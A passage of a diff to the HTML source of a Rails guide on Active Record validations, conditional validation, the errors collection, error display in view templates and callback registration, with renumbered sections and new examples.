+<div class="paragraph"><p>As you&#8217;ve already seen, the <tt>:message</tt> option lets you specify the message that will be added to the <tt>errors</tt> collection when validation fails. When this option is not used, Active Record will use the respective default error message for each validation helper, together with the attribute name.</p></div>
+<h3 id="_the_tt_on_tt_option">3.4. The <tt>:on</tt> option</h3>
+<div class="paragraph"><p>The <tt>:on</tt> option lets you specify when the validation should happen. The default behavior for all the built-in validation helpers is to be ran on save (both when you&#8217;re creating a new record and when you&#8217;re updating it). If you want to change it, you can use <tt>:on =&gt; :create</tt> to run the validation only when a new record is created or <tt>:on =&gt; :update</tt> to run the validation only when a record is updated.</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -723,16 +607,15 @@ http://www.gnu.org/software/src-highlite -->
<span style="font-style: italic"><span style="color: #9A1900"># =&gt; it will be possible to create the record with a 'non-numerical age'</span></span>
validates_numericality_of <span style="color: #990000">:</span>age<span style="color: #990000">,</span> <span style="color: #990000">:</span>on <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>update
- <span style="font-style: italic"><span style="color: #9A1900"># =&gt; the default</span></span>
+ <span style="font-style: italic"><span style="color: #9A1900"># =&gt; the default (validates on both create and update)</span></span>
validates_presence_of <span style="color: #990000">:</span>name<span style="color: #990000">,</span> <span style="color: #990000">:</span>on <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>save
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
</div>
-<h2 id="_conditional_validation">5. Conditional validation</h2>
+<h2 id="_conditional_validation">4. Conditional validation</h2>
<div class="sectionbody">
-<div class="para"><p>Sometimes it will make sense to validate an object just when a given predicate is satisfied. You can do that by using the <tt>:if</tt> and <tt>:unless</tt> options, which can take a symbol, a string or a Ruby Proc. You may use the <tt>:if</tt> option when you want to specify when the validation <strong>should</strong> happen. If you want to specify when the validation <strong>should not</strong> happen, then you may use the <tt>:unless</tt> option.</p></div>
-<h3 id="_using_a_symbol_with_the_tt_if_tt_and_tt_unless_tt_options">5.1. Using a symbol with the <tt>:if</tt> and <tt>:unless</tt> options</h3>
-<div class="para"><p>You can associated the <tt>:if</tt> and <tt>:unless</tt> options with a symbol corresponding to the name of a method that will get called right before validation happens. This is the most commonly used option.</p></div>
+<div class="paragraph"><p>Sometimes it will make sense to validate an object just when a given predicate is satisfied. You can do that by using the <tt>:if</tt> and <tt>:unless</tt> options, which can take a symbol, a string or a Ruby Proc. You may use the <tt>:if</tt> option when you want to specify when the validation <strong>should</strong> happen. If you want to specify when the validation <strong>should not</strong> happen, then you may use the <tt>:unless</tt> option.</p></div>
+<h3 id="_using_a_symbol_with_the_tt_if_tt_and_tt_unless_tt_options">4.1. Using a symbol with the <tt>:if</tt> and <tt>:unless</tt> options</h3>
+<div class="paragraph"><p>You can associate the <tt>:if</tt> and <tt>:unless</tt> options with a symbol corresponding to the name of a method that will get called right before validation happens. This is the most commonly used option.</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -744,10 +627,9 @@ http://www.gnu.org/software/src-highlite -->
<span style="font-weight: bold"><span style="color: #0000FF">def</span></span> paid_with_card?
payment_type <span style="color: #990000">==</span> <span style="color: #FF0000">"card"</span>
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<h3 id="_using_a_string_with_the_tt_if_tt_and_tt_unless_tt_options">5.2. Using a string with the <tt>:if</tt> and <tt>:unless</tt> options</h3>
-<div class="para"><p>You can also use a string that will be evaluated using <tt>:eval</tt> and needs to contain valid Ruby code. You should use this option only when the string represents a really short condition.</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<h3 id="_using_a_string_with_the_tt_if_tt_and_tt_unless_tt_options">4.2. Using a string with the <tt>:if</tt> and <tt>:unless</tt> options</h3>
+<div class="paragraph"><p>You can also use a string that will be evaluated using <tt>:eval</tt> and needs to contain valid Ruby code. You should use this option only when the string represents a really short condition.</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -755,10 +637,9 @@ http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Person <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
validates_presence_of <span style="color: #990000">:</span>surname<span style="color: #990000">,</span> <span style="color: #990000">:</span><span style="font-weight: bold"><span style="color: #0000FF">if</span></span> <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"name.nil?"</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<h3 id="_using_a_proc_object_with_the_tt_if_tt_and_tt_unless_tt_options">5.3. Using a Proc object with the <tt>:if</tt> and :<tt>unless</tt> options</h3>
-<div class="para"><p>Finally, it's possible to associate <tt>:if</tt> and <tt>:unless</tt> with a Ruby Proc object which will be called. Using a Proc object can give you the hability to write a condition that will be executed only when the validation happens and not when your code is loaded by the Ruby interpreter. This option is best suited when writing short validation methods, usually one-liners.</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<h3 id="_using_a_proc_object_with_the_tt_if_tt_and_tt_unless_tt_options">4.3. Using a Proc object with the <tt>:if</tt> and :<tt>unless</tt> options</h3>
+<div class="paragraph"><p>Finally, it&#8217;s possible to associate <tt>:if</tt> and <tt>:unless</tt> with a Ruby Proc object which will be called. Using a Proc object can give you the hability to write a condition that will be executed only when the validation happens and not when your code is loaded by the Ruby interpreter. This option is best suited when writing short validation methods, usually one-liners.</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -767,25 +648,11 @@ http://www.gnu.org/software/src-highlite -->
<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Account <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
validates_confirmation_of <span style="color: #990000">:</span>password<span style="color: #990000">,</span>
<span style="color: #990000">:</span><span style="font-weight: bold"><span style="color: #0000FF">unless</span></span> <span style="color: #990000">=&gt;</span> Proc<span style="color: #990000">.</span>new <span style="color: #FF0000">{</span> <span style="color: #990000">|</span>a<span style="color: #990000">|</span> a<span style="color: #990000">.</span>password<span style="color: #990000">.</span>blank? <span style="color: #FF0000">}</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
</div>
-<h2 id="_writing_your_own_validation_methods">6. Writing your own validation methods</h2>
+<h2 id="_writing_your_own_validation_methods">5. Writing your own validation methods</h2>
<div class="sectionbody">
-<div class="para"><p>When the built-in validation helpers are not enough for your needs, you can write your own validation methods, by implementing one or more of the <tt>validate</tt>, <tt>validate_on_create</tt> or <tt>validate_on_update</tt> methods. As the names of the methods states, the right method to implement depends on when you want the validations to be ran. The meaning of valid is still the same: to make an object invalid you just need to add a message to it's <tt>errors</tt> collection.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Invoice <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> validate_on_create
- errors<span style="color: #990000">.</span>add<span style="color: #990000">(:</span>expiration_date<span style="color: #990000">,</span> <span style="color: #FF0000">"can't be in the past"</span><span style="color: #990000">)</span> <span style="font-weight: bold"><span style="color: #0000FF">if</span></span>
- <span style="color: #990000">!</span>expiration_date<span style="color: #990000">.</span>blank? <span style="font-weight: bold"><span style="color: #0000FF">and</span></span> expiration_date <span style="color: #990000">&lt;</span> Date<span style="color: #990000">.</span>today
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>If your validation rules are too complicated and you want to break them in small methods, you can implement all of them and call one of <tt>validate</tt>, <tt>validate_on_create</tt> or <tt>validate_on_update</tt> methods, passing it the symbols for the methods' names.</p></div>
+<div class="paragraph"><p>When the built-in validation helpers are not enough for your needs, you can write your own validation methods. You can do that by implementing methods that verify the state of your models and add messages to their <tt>errors</tt> collection when they are invalid. You must then register those methods by using one or more of the <tt>validate</tt>, <tt>validate_on_create</tt> or <tt>validate_on_update</tt> class methods, passing in the symbols for the validation methods' names. You can pass more than one symbol for each class method and the respective validations will be ran in the same order as they were registered.</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -804,16 +671,42 @@ http://www.gnu.org/software/src-highlite -->
errors<span style="color: #990000">.</span>add<span style="color: #990000">(:</span>discount<span style="color: #990000">,</span> <span style="color: #FF0000">"can't be greater than total value"</span><span style="color: #990000">)</span> <span style="font-weight: bold"><span style="color: #0000FF">unless</span></span>
discount <span style="color: #990000">&lt;=</span> total_value
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>You can even create your own validation helpers and reuse them in several different models. Here is an example where we create a custom validation helper to validate the format of fields that represent email addresses:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">module</span></span> ActiveRecord
+ <span style="font-weight: bold"><span style="color: #0000FF">module</span></span> Validations
+ <span style="font-weight: bold"><span style="color: #0000FF">module</span></span> ClassMethods
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> validates_email_format_of<span style="color: #990000">(</span>value<span style="color: #990000">)</span>
+ validates_format_of value<span style="color: #990000">,</span>
+ <span style="color: #990000">:</span>with <span style="color: #990000">=&gt;</span> <span style="color: #FF6600">/\A[\w\._%-]+@[\w\.-]+\.[a-zA-Z]{2,4}\z/</span><span style="color: #990000">,</span>
+ <span style="color: #990000">:</span><span style="font-weight: bold"><span style="color: #0000FF">if</span></span> <span style="color: #990000">=&gt;</span> Proc<span style="color: #990000">.</span>new <span style="color: #FF0000">{</span> <span style="color: #990000">|</span>u<span style="color: #990000">|</span> <span style="color: #990000">!</span>u<span style="color: #990000">.</span>email<span style="color: #990000">.</span>blank? <span style="color: #FF0000">}</span><span style="color: #990000">,</span>
+ <span style="color: #990000">:</span>message <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"Invalid format for email address"</span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>The recipe is simple: just create a new validation method inside the <tt>ActiveRecord::Validations::ClassMethods</tt> module. You can put this code in a file inside your application&#8217;s <strong>lib</strong> folder, and then requiring it from your <strong>environment.rb</strong> or any other file inside <strong>config/initializers</strong>. You can use this helper like this:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Person <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+ validates_email_format_of <span style="color: #990000">:</span>email_address
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
</div>
-<h2 id="_using_the_tt_errors_tt_collection">7. Using the <tt>errors</tt> collection</h2>
+<h2 id="_manipulating_the_tt_errors_tt_collection">6. Manipulating the <tt>errors</tt> collection</h2>
<div class="sectionbody">
-<div class="para"><p>You can do more than just call <tt>valid?</tt> upon your objects based on the existance of the <tt>errors</tt> collection. Here is a list of the other available methods that you can use to manipulate errors or ask for an object's state.</p></div>
-<div class="ilist"><ul>
+<div class="paragraph"><p>You can do more than just call <tt>valid?</tt> upon your objects based on the existance of the <tt>errors</tt> collection. Here is a list of the other available methods that you can use to manipulate errors or ask for an object&#8217;s state.</p></div>
+<div class="ulist"><ul>
<li>
<p>
-<tt>add_to_base</tt> lets you add errors messages that are related to the object's state as a whole, instead of being related to a specific attribute. You can use this method when you want to say that the object is invalid, no matter the values of it's attributes. <tt>add_to_base</tt> receives a string with the message.
+<tt>add_to_base</tt> lets you add errors messages that are related to the object&#8217;s state as a whole, instead of being related to a specific attribute. You can use this method when you want to say that the object is invalid, no matter the values of it&#8217;s attributes. <tt>add_to_base</tt> receives a string with the message.
</p>
</li>
</ul></div>
@@ -826,9 +719,8 @@ http://www.gnu.org/software/src-highlite -->
<span style="font-weight: bold"><span style="color: #0000FF">def</span></span> a_method_used_for_validation_purposes
errors<span style="color: #990000">.</span>add_to_base<span style="color: #990000">(</span><span style="color: #FF0000">"This person is invalid because ..."</span><span style="color: #990000">)</span>
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="ilist"><ul>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="ulist"><ul>
<li>
<p>
<tt>add</tt> lets you manually add messages that are related to particular attributes. When writing those messages, keep in mind that Rails will prepend them with the name of the attribute that holds the error, so write it in a way that makes sense. <tt>add</tt> receives a symbol with the name of the attribute that you want to add the message to and the message itself.
@@ -844,9 +736,8 @@ http://www.gnu.org/software/src-highlite -->
<span style="font-weight: bold"><span style="color: #0000FF">def</span></span> a_method_used_for_validation_purposes
errors<span style="color: #990000">.</span>add<span style="color: #990000">(:</span>name<span style="color: #990000">,</span> <span style="color: #FF0000">"can't have the characters !@#$%*()_-+="</span><span style="color: #990000">)</span>
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="ilist"><ul>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="ulist"><ul>
<li>
<p>
<tt>invalid?</tt> is used when you want to check if a particular attribute is invalid. It receives a symbol with the name of the attribute that you want to check.
@@ -863,9 +754,8 @@ http://www.gnu.org/software/src-highlite -->
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
person <span style="color: #990000">=</span> Person<span style="color: #990000">.</span>new<span style="color: #990000">(:</span>name <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"John Doe"</span><span style="color: #990000">)</span>
-person<span style="color: #990000">.</span>invalid?<span style="color: #990000">(:</span>email<span style="color: #990000">)</span> <span style="font-style: italic"><span style="color: #9A1900"># =&gt; true</span></span>
-</tt></pre></div></div>
-<div class="ilist"><ul>
+person<span style="color: #990000">.</span>invalid?<span style="color: #990000">(:</span>email<span style="color: #990000">)</span> <span style="font-style: italic"><span style="color: #9A1900"># =&gt; true</span></span></tt></pre></div></div>
+<div class="ulist"><ul>
<li>
<p>
<tt>on</tt> is used when you want to check the error messages for a specific attribute. It will return different kinds of objects depending on the state of the <tt>errors</tt> collection for the given attribute. If there are no errors related to the attribute, <tt>on</tt> will return <tt>nil</tt>. If there is just one errors message for this attribute, <tt>on</tt> will return a string with the message. When <tt>errors</tt> holds two or more error messages for the attribute, <tt>on</tt> will return an array of strings, each one with one error message.
@@ -894,12 +784,11 @@ person<span style="color: #990000">.</span>errors<span style="color: #990000">.<
person <span style="color: #990000">=</span> Person<span style="color: #990000">.</span>new
person<span style="color: #990000">.</span>valid? <span style="font-style: italic"><span style="color: #9A1900"># =&gt; false</span></span>
person<span style="color: #990000">.</span>errors<span style="color: #990000">.</span>on<span style="color: #990000">(:</span>name<span style="color: #990000">)</span>
-<span style="font-style: italic"><span style="color: #9A1900"># =&gt; ["can't be blank", "is too short (minimum is 3 characters)"]</span></span>
-</tt></pre></div></div>
-<div class="ilist"><ul>
+<span style="font-style: italic"><span style="color: #9A1900"># =&gt; ["can't be blank", "is too short (minimum is 3 characters)"]</span></span></tt></pre></div></div>
+<div class="ulist"><ul>
<li>
<p>
-<tt>clear</tt> is used when you intentionally want to clear all the messages in the <tt>errors</tt> collection. However, calling <tt>errors.clear</tt> upon an invalid object won't make it valid: the <tt>errors</tt> collection will now be empty, but the next time you call <tt>valid?</tt> or any method that tries to save this object to the database, the validations will run. If any of them fails, the <tt>errors</tt> collection will get filled again.
+<tt>clear</tt> is used when you intentionally want to clear all the messages in the <tt>errors</tt> collection. However, calling <tt>errors.clear</tt> upon an invalid object won&#8217;t make it valid: the <tt>errors</tt> collection will now be empty, but the next time you call <tt>valid?</tt> or any method that tries to save this object to the database, the validations will run. If any of them fails, the <tt>errors</tt> collection will get filled again.
</p>
</li>
</ul></div>
@@ -922,34 +811,131 @@ person<span style="color: #990000">.</span>errors<span style="color: #990000">.<
person<span style="color: #990000">.</span>errors<span style="color: #990000">.</span>empty? <span style="font-style: italic"><span style="color: #9A1900"># =&gt; true</span></span>
p<span style="color: #990000">.</span>save <span style="font-style: italic"><span style="color: #9A1900"># =&gt; false</span></span>
p<span style="color: #990000">.</span>errors<span style="color: #990000">.</span>on<span style="color: #990000">(:</span>name<span style="color: #990000">)</span>
-<span style="font-style: italic"><span style="color: #9A1900"># =&gt; ["can't be blank", "is too short (minimum is 3 characters)"]</span></span>
-</tt></pre></div></div>
+<span style="font-style: italic"><span style="color: #9A1900"># =&gt; ["can't be blank", "is too short (minimum is 3 characters)"]</span></span></tt></pre></div></div>
</div>
-<h2 id="_callbacks">8. Callbacks</h2>
+<h2 id="_using_the_tt_errors_tt_collection_in_your_view_templates">7. Using the <tt>errors</tt> collection in your view templates</h2>
<div class="sectionbody">
-<div class="para"><p>Callbacks are methods that get called at certain moments of an object's lifecycle. With callbacks it's possible to write code that will run whenever an Active Record object is created, saved, updated, deleted or loaded from the database.</p></div>
-<h3 id="_callbacks_registration">8.1. Callbacks registration</h3>
-<div class="para"><p>In order to use the available callbacks, you need to registrate them. There are two ways of doing that.</p></div>
-<h3 id="_registering_callbacks_by_overriding_the_callback_methods">8.2. Registering callbacks by overriding the callback methods</h3>
-<div class="para"><p>You can specify the callback method directly, by overriding it. Let's see how it works using the <tt>before_validation</tt> callback, which will surprisingly run right before any validation is done.</p></div>
+<div class="paragraph"><p>Rails provides built-in helpers to display the error messages of your models in your view templates. When creating a form with the form_for helper, you can use the error_messages method on the form builder to render all failed validation messages for the current model instance.</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> User <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- validates_presence_of <span style="color: #990000">:</span>login<span style="color: #990000">,</span> <span style="color: #990000">:</span>email
-
- protected
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> before_validation
- <span style="font-weight: bold"><span style="color: #0000FF">if</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>login<span style="color: #990000">.</span><span style="font-weight: bold"><span style="color: #0000FF">nil</span></span><span style="color: #990000">?</span>
- <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>login <span style="color: #990000">=</span> email <span style="font-weight: bold"><span style="color: #0000FF">unless</span></span> email<span style="color: #990000">.</span>blank?
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Product <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+ validates_presence_of <span style="color: #990000">:</span>description<span style="color: #990000">,</span> <span style="color: #990000">:</span>value
+ validates_numericality_of <span style="color: #990000">:</span>value<span style="color: #990000">,</span> <span style="color: #990000">:</span>allow_nil <span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>&lt;% form_for(@product) do |f| %&gt;
+ &lt;%= f.error_messages %&gt;
+ &lt;p&gt;
+ &lt;%= f.label :description %&gt;&lt;br /&gt;
+ &lt;%= f.text_field :description %&gt;
+ &lt;/p&gt;
+ &lt;p&gt;
+ &lt;%= f.label :value %&gt;&lt;br /&gt;
+ &lt;%= f.text_field :value %&gt;
+ &lt;/p&gt;
+ &lt;p&gt;
+ &lt;%= f.submit "Create" %&gt;
+ &lt;/p&gt;
+&lt;% end %&gt;</tt></pre>
+</div></div>
+<div class="imageblock">
+<div class="content">
+<img src="images/error_messages.png" alt="Error messages" title="Error messages"/>
+</div>
+</div>
+<div class="paragraph"><p>You can also use the <tt>error_messages_for</tt> helper to display the error messages of a model assigned to a view template. It&#8217;s very similar to the previous example and will achieve exactly the same result.</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>&lt;%= error_messages_for :product %&gt;</tt></pre>
+</div></div>
+<div class="paragraph"><p>The displayed text for each error message will always be formed by the capitalized name of the attribute that holds the error, followed by the error message itself.</p></div>
+<div class="paragraph"><p>Both the <tt>form.error_messages</tt> and the <tt>error_messages_for</tt> helpers accept options that let you customize the <tt>div</tt> element that holds the messages, changing the header text, the message below the header text and the tag used for the element that defines the header.</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>&lt;%= f.error_messages :header_message =&gt; "Invalid product!",
+ :message =&gt; "You'll need to fix the following fields:",
+ :header_tag =&gt; :h3 %&gt;</tt></pre>
+</div></div>
+<div class="paragraph"><p>Which results in the following content</p></div>
+<div class="imageblock">
+<div class="content">
+<img src="images/customized_error_messages.png" alt="Customized error messages" title="Customized error messages"/>
+</div>
+</div>
+<div class="paragraph"><p>If you pass <tt>nil</tt> to any of these options, it will get rid of the respective section of the <tt>div</tt>.</p></div>
+<div class="paragraph"><p>It&#8217;s also possible to change the CSS classes used by the <tt>error_messages</tt> helper. These classes are automatically defined at the <strong>scaffold.css</strong> file, generated by the scaffold script. If you&#8217;re not using scaffolding, you can still define those CSS classes at your CSS files. Here is a list of the default CSS classes.</p></div>
+<div class="ulist"><ul>
+<li>
+<p>
+<tt>.fieldWithErrors</tt> - Style for the form fields with errors.
+</p>
+</li>
+<li>
+<p>
+<tt>#errorExplanation</tt> - Style for the <tt>div</tt> element with the error messages.
+</p>
+</li>
+<li>
+<p>
+<tt>#errorExplanation h2</tt> - Style for the header of the <tt>div</tt> element.
+</p>
+</li>
+<li>
+<p>
+<tt>#errorExplanation p</tt> - Style for the paragraph that holds the message that appears right below the header of the <tt>div</tt> element.
+</p>
+</li>
+<li>
+<p>
+<tt>#errorExplanation ul li</tt> - Style for the list of error messages.
+</p>
+</li>
+</ul></div>
+<h3 id="_changing_the_way_form_fields_with_errors_are_displayed">7.1. Changing the way form fields with errors are displayed</h3>
+<div class="paragraph"><p>By default, form fields with errors are displayed enclosed by a <tt>div</tt> element with the <tt>fieldWithErrors</tt> CSS class. However, we can write some Ruby code to override the way Rails treats those fields by default. Here is a simple example where we change the Rails behaviour to always display the error messages in front of each of the form fields with errors. The error messages will be enclosed by a <tt>span</tt> element with a <tt>validation-error</tt> CSS class. There will be no <tt>div</tt> element enclosing the <tt>input</tt> element, so we get rid of that red border around the text field. You can use the <tt>validation-error</tt> CSS class to style it anyway you want.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>ActionView<span style="color: #990000">::</span>Base<span style="color: #990000">.</span>field_error_proc <span style="color: #990000">=</span> Proc<span style="color: #990000">.</span>new <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>html_tag<span style="color: #990000">,</span> instance<span style="color: #990000">|</span>
+ <span style="font-weight: bold"><span style="color: #0000FF">if</span></span> instance<span style="color: #990000">.</span>error_message<span style="color: #990000">.</span>kind_of?<span style="color: #990000">(</span>Array<span style="color: #990000">)</span>
+ <span style="color: #990000">%(#</span><span style="color: #FF0000">{</span>html_tag<span style="color: #FF0000">}</span><span style="color: #FF0000">&lt;span class='validation-error'&gt;</span><span style="color: #990000">&amp;</span>nbsp<span style="color: #990000">;</span>
+ <span style="color: #990000">#</span><span style="color: #FF0000">{</span>instance<span style="color: #990000">.</span>error_message<span style="color: #990000">.</span>join<span style="color: #990000">(</span><span style="color: #FF0000">','</span><span style="color: #990000">)</span><span style="color: #FF0000">}</span><span style="color: #FF0000">&lt;/span&gt;</span><span style="color: #990000">)</span>
+ <span style="font-weight: bold"><span style="color: #0000FF">else</span></span>
+ <span style="color: #990000">%(#</span><span style="color: #FF0000">{</span>html_tag<span style="color: #FF0000">}</span><span style="color: #FF0000">&lt;span class='validation-error'&gt;</span><span style="color: #990000">&amp;</span>nbsp<span style="color: #990000">;</span>
+ <span style="color: #990000">#</span><span style="color: #FF0000">{</span>instance<span style="color: #990000">.</span>error_message<span style="color: #FF0000">}</span><span style="color: #FF0000">&lt;/span&gt;</span><span style="color: #990000">)</span>
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<h3 id="_registering_callbacks_by_using_macro_style_class_methods">8.3. Registering callbacks by using macro-style class methods</h3>
-<div class="para"><p>The other way you can register a callback method is by implementing it as an ordinary method, and then using a macro-style class method to register it as a callback. The last example could be written like that:</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>This will result in something like the following content:</p></div>
+<div class="imageblock">
+<div class="content">
+<img src="images/validation_error_messages.png" alt="Validation error messages" title="Validation error messages"/>
+</div>
+</div>
+<div class="paragraph"><p>The way form fields with errors are treated is defined by the <tt>ActionView::Base.field_error_proc</tt> Ruby Proc. This Proc receives two parameters:</p></div>
+<div class="ulist"><ul>
+<li>
+<p>
+A string with the HTML tag
+</p>
+</li>
+<li>
+<p>
+An object of the <tt>ActionView::Helpers::InstanceTag</tt> class.
+</p>
+</li>
+</ul></div>
+</div>
+<h2 id="_callbacks">8. Callbacks</h2>
+<div class="sectionbody">
+<div class="paragraph"><p>Callbacks are methods that get called at certain moments of an object&#8217;s lifecycle. With callbacks it&#8217;s possible to write code that will run whenever an Active Record object is created, saved, updated, deleted or loaded from the database.</p></div>
+<h3 id="_callbacks_registration">8.1. Callbacks registration</h3>
+<div class="paragraph"><p>In order to use the available callbacks, you need to registrate them. You can do that by implementing them as an ordinary methods, and then using a macro-style class method to register then as callbacks.</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -966,9 +952,8 @@ http://www.gnu.org/software/src-highlite -->
<span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>login <span style="color: #990000">=</span> email <span style="font-weight: bold"><span style="color: #0000FF">unless</span></span> email<span style="color: #990000">.</span>blank?
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>The macro-style class methods can also receive a block. Rails best practices say that you should only use this style of registration if the code inside your block is so short that it fits in just one line.</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>The macro-style class methods can also receive a block. Rails best practices say that you should only use this style of registration if the code inside your block is so short that it fits in just one line.</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -978,21 +963,7 @@ http://www.gnu.org/software/src-highlite -->
validates_presence_of <span style="color: #990000">:</span>login<span style="color: #990000">,</span> <span style="color: #990000">:</span>email
before_create <span style="color: #FF0000">{</span><span style="color: #990000">|</span>user<span style="color: #990000">|</span> user<span style="color: #990000">.</span>name <span style="color: #990000">=</span> user<span style="color: #990000">.</span>login<span style="color: #990000">.</span>capitalize <span style="font-weight: bold"><span style="color: #0000FF">if</span></span> user<span style="color: #990000">.</span>name<span style="color: #990000">.</span>blank?<span style="color: #FF0000">}</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>In Rails, the preferred way of registering callbacks is by using macro-style class methods. The main advantages of using macro-style class methods are:</p></div>
-<div class="ilist"><ul>
-<li>
-<p>
-You can add more than one method for each type of callback. Those methods will be queued for execution at the same order they were registered.
-</p>
-</li>
-<li>
-<p>
-Readability, since your callback declarations will live at the beggining of your models' files.
-</p>
-</li>
-</ul></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
<div class="admonitionblock">
<table><tr>
<td class="icon">
@@ -1002,11 +973,57 @@ Readability, since your callback declarations will live at the beggining of your
</tr></table>
</div>
</div>
-<h2 id="_available_callbacks">9. Available callbacks</h2>
+<h2 id="_conditional_callbacks">9. Conditional callbacks</h2>
<div class="sectionbody">
